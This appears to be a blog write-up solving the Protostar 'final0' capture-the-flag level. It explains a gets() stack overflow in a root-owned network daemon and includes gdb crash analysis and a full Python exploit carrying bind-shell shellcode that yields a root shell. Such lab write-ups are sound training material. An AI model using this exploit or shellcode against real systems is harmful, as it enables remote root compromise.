Protostar exploits Final0

Introduction

Protostar exploits are a cool bunch of ctf type exercises that focus on Linux  binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.

The website with all information and downloads is at https://exploit-exercises.com/protostar/

Challenge

Test run

final0 is a network daemon that listens on port 2995. The iso image automatically starts the daemon for you. If we list the running processes you should see it.

user@protostar:~$ ps xau|grep final0
root 1666 0.0 0.1 1532 276 ? Ss Aug18 0:00 /opt/protostar/bin/final0
user 4015 0.0 0.2 3296 728 pts/1 S+ 06:33 0:00 grep final0
user@protostar:~$ sudo netstat -anp |grep final0
[sudo] password for user: 
tcp 0 0 0.0.0.0:2995 0.0.0.0:* LISTEN 1666/final0 
user@protostar:~$ nc -vvv localhost 2995
localhost.localdomain [127.0.0.1] 2995 (?) open
AAAA
No such user AAAA
 sent 5, rcvd 18

Exploit

Challenge hint ‘This level combines a stack overflow and network programming for a remote overflow.”

Looks like we need to connect to the network daemon, overflow the stack and run some shellcode.

Source code has UID 0 and as indicated from the ps command, the process is owned by root. If we can get a shell from our exploit then we will have elevated privileges from uid 1001 to 0.

#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
 char buffer[512];
 char *q;
 int i;

 memset(buffer, 0, sizeof(buffer));
 gets(buffer);

 /* Strip off trailing new line characters */
 q = strchr(buffer, '\n');
 if(q) *q = 0;
 q = strchr(buffer, '\r');
 if(q) *q = 0;

 /* Convert to lower case */
 for(i = 0; i < strlen(buffer); i++) {
 buffer[i] = toupper(buffer[i]);
 }

 /* Duplicate the string and return it */
 return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
 int fd;
 char *username;

 /* Run the process as a daemon */
 background_process(NAME, UID, GID); 
 
 /* Wait for socket activity and return */
 fd = serve_forever(PORT);

 /* Set the client socket to STDIN, STDOUT, and STDERR */
 set_io(fd);

 username = get_username();
 
 printf("No such user %s\n", username);
}

Source code indicates that gets() is used to read input from the connecting client network socket. This will be the vulnerable function for the stack overflow attack. ‘buffer’ array is set to 512 bytes so our payload will be sized greater than this.

I wrote a test script to connect to the daemon and send my test payload of 512 bytes. This will demonstrate normal behaviour and not trigger the vulnerability.

Here is my script https://github.com/muttiopenbts/protostar/blob/master/protostar-final0-0.py

user@protostar:~$ python protostar-final0-0.py localhost 2995
Socket Created
Ip address of localhost is 127.0.0.1
Socket Connected to localhost on ip 127.0.0.1
No such user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Done.
user@protostar:~$ cat /proc/sys/kernel/core_pattern
/tmp/core.%s.%e.%p
user@protostar:~$ ls /tmp/
user@protostar:~$

After some experimenting with the payload size I found that the vulnerability was triggered when the payload size equaled 532 bytes.

user@protostar:~$ python protostar-final0-0.py localhost 2995
Socket Created
Ip address of localhost is 127.0.0.1
Socket Connected to localhost on ip 127.0.0.1

Done.
user@protostar:~$ ls -la /tmp/
total 84
drwxrwxrwt 2 user user 60 Aug 27 10:58 .
drwxr-xr-x 27 root root 200 Aug 18 20:00 ..
-rw------- 1 root root 294912 Aug 27 10:58 core.4.final0.4861

We also get to see a core file that was generated due to the crash (core.4.final0.4861).

Analyzing the core file in gdb shows us the state of the registers.

user@protostar:~$ gdb --core=/tmp/core.4.final0.4861 /opt/protostar/bin/final0 -q
Reading symbols from /opt/protostar/bin/final0...done.

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 4, Illegal instruction.
#0 0x08049801 in get_username () at final0/final0.c:29
29 final0/final0.c: No such file or directory.
 in final0/final0.c
gdb$ info registers 
eax 0x804b008 0x804b008
ecx 0x0 0x0
edx 0x1 0x1
ebx 0x41414141 0x41414141
esp 0xbffffc60 0xbffffc60
ebp 0x41414141 0x41414141
esi 0x0 0x0
edi 0x0 0x0
eip 0x8049801 0x8049801 <get_username+167>
eflags 0x10682 [ SF IF DF RF ]
cs 0x73 0x73
ss 0x7b 0x7b
ds 0x7b 0x7b
es 0x7b 0x7b
fs 0x0 0x0
gs 0x33 0x33
gdb$ x /64xb $esp-10
0xbffffc50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffc58: 0x41 0x41 0x41 0x41 0x00 0x98 0x04 0x08
0xbffffc60: 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbffffc68: 0x00 0x00 0x00 0x00 0x88 0xfc 0xff 0xbf
0xbffffc70: 0x65 0x63 0xec 0xb7 0x40 0x10 0xff 0xb7
0xbffffc78: 0x04 0x00 0x00 0x00 0xf4 0x7f 0xfd 0xb7
0xbffffc80: 0xb0 0x98 0x04 0x08 0x00 0x00 0x00 0x00
0xbffffc88: 0x08 0xfd 0xff 0xbf 0x76 0xdc 0xea 0xb7
gdb$ disassemble $eip
...
0x080497f7 <get_username+157>: call 0x8048adc <toupper@plt>
0x080497fc <get_username+162>: mov BYTE PTR [ebp+ebx*1-0x210],al
0x08049803 <get_username+169>: add DWORD PTR [ebp-0xc],0x1
0x08049807 <get_username+173>: mov ebx,DWORD PTR [ebp-0xc]
0x0804980a <get_username+176>: lea eax,[ebp-0x210]

Looks like a single byte for the return address from a function call was overwritten and caused the EIP to continue code execution in a bad place hence the ‘signal 4, Illegal instruction’ message.

I would conject that if we increase the exploit payload by 4 bytes we would effectively overwrite EIP.

gdb$ i r
eax 0x804b008 0x804b008
ecx 0x0 0x0
edx 0x1 0x1
ebx 0x41414141 0x41414141
esp 0xbffffc60 0xbffffc60
ebp 0x41414141 0x41414141
esi 0x0 0x0
edi 0x0 0x0
eip 0x41414141 0x41414141
eflags 0x10282 [ SF IF RF ]
cs 0x73 0x73
ss 0x7b 0x7b
ds 0x7b 0x7b
es 0x7b 0x7b
fs 0x0 0x0
gs 0x33 0x33
gdb$ x /64xb $esp-10
0xbffffc50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffc58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffc60: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
...

Time for shellcode.

We’ll take an existing network bind shellcode sized at 73 bytes and listens port 11111 http://shell-storm.org/shellcode/files/shellcode-836.php, drop it into our payload and voila.

Final script. https://github.com/muttiopenbts/protostar/blob/master/protostar-final0-bindshell.py

"""
This code is for protostar final0 challange.Will connect to final0 network daemon, send a network bind shellcode payload to the server.
"""
import socket
import sys
import re
import struct

try:
 #create an AF_INET, STREAM socket (TCP)
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
 print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]
 sys.exit()

print 'Socket Created'

host = sys.argv[1]
port = sys.argv[2]

try:
 remote_ip = socket.gethostbyname( host )

except socket.gaierror:
 #could not resolve
 print 'Hostname could not be resolved. Exiting'
 sys.exit()

print 'Ip address of ' + host + ' is ' + remote_ip

#Connect to remote server
s.connect((remote_ip, int(port)))

print 'Socket Connected to ' + host + ' on ip ' + remote_ip
buffer_size = 532
EIP = "\x60\xfc\xff\xbf"
#network bind shell listen 0.0.0.0 11111
shellcode = "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"\
"\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68"\
"\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1"\
"\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd"\
"\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f"\
"\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f"\
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"\
"\x41\xcd\x80"
try:
 payload = "A"
 s.sendall((payload*buffer_size)+EIP+shellcode+"\n")

 recv = s.recv(4096)
 print recv

except socket.error:
 #Send failed
 print 'Send failed'
 sys.exit()

print 'Done.'
user@protostar:~$ python protostar-final0-0.py localhost 2995
Socket Created
Ip address of localhost is 127.0.0.1
Socket Connected to localhost on ip 127.0.0.1

Server should now be listening on port 11111

user@protostar:~$ netstat -nal
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State 
tcp 0 0 0.0.0.0:53932 0.0.0.0:* LISTEN 
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 
tcp 0 0 0.0.0.0:2993 0.0.0.0:* LISTEN 
tcp 0 0 0.0.0.0:2998 0.0.0.0:* LISTEN 
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 
tcp 0 0 0.0.0.0:2999 0.0.0.0:* LISTEN 
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 
tcp 0 0 0.0.0.0:11111 0.0.0.0:* LISTEN

Connect to bind shell

user@protostar:~$ nc -vvv localhost 11111
localhost.localdomain [127.0.0.1] 11111 (?) open
id
uid=0(root) gid=0(root) groups=0(root)

Thank you

Leave a comment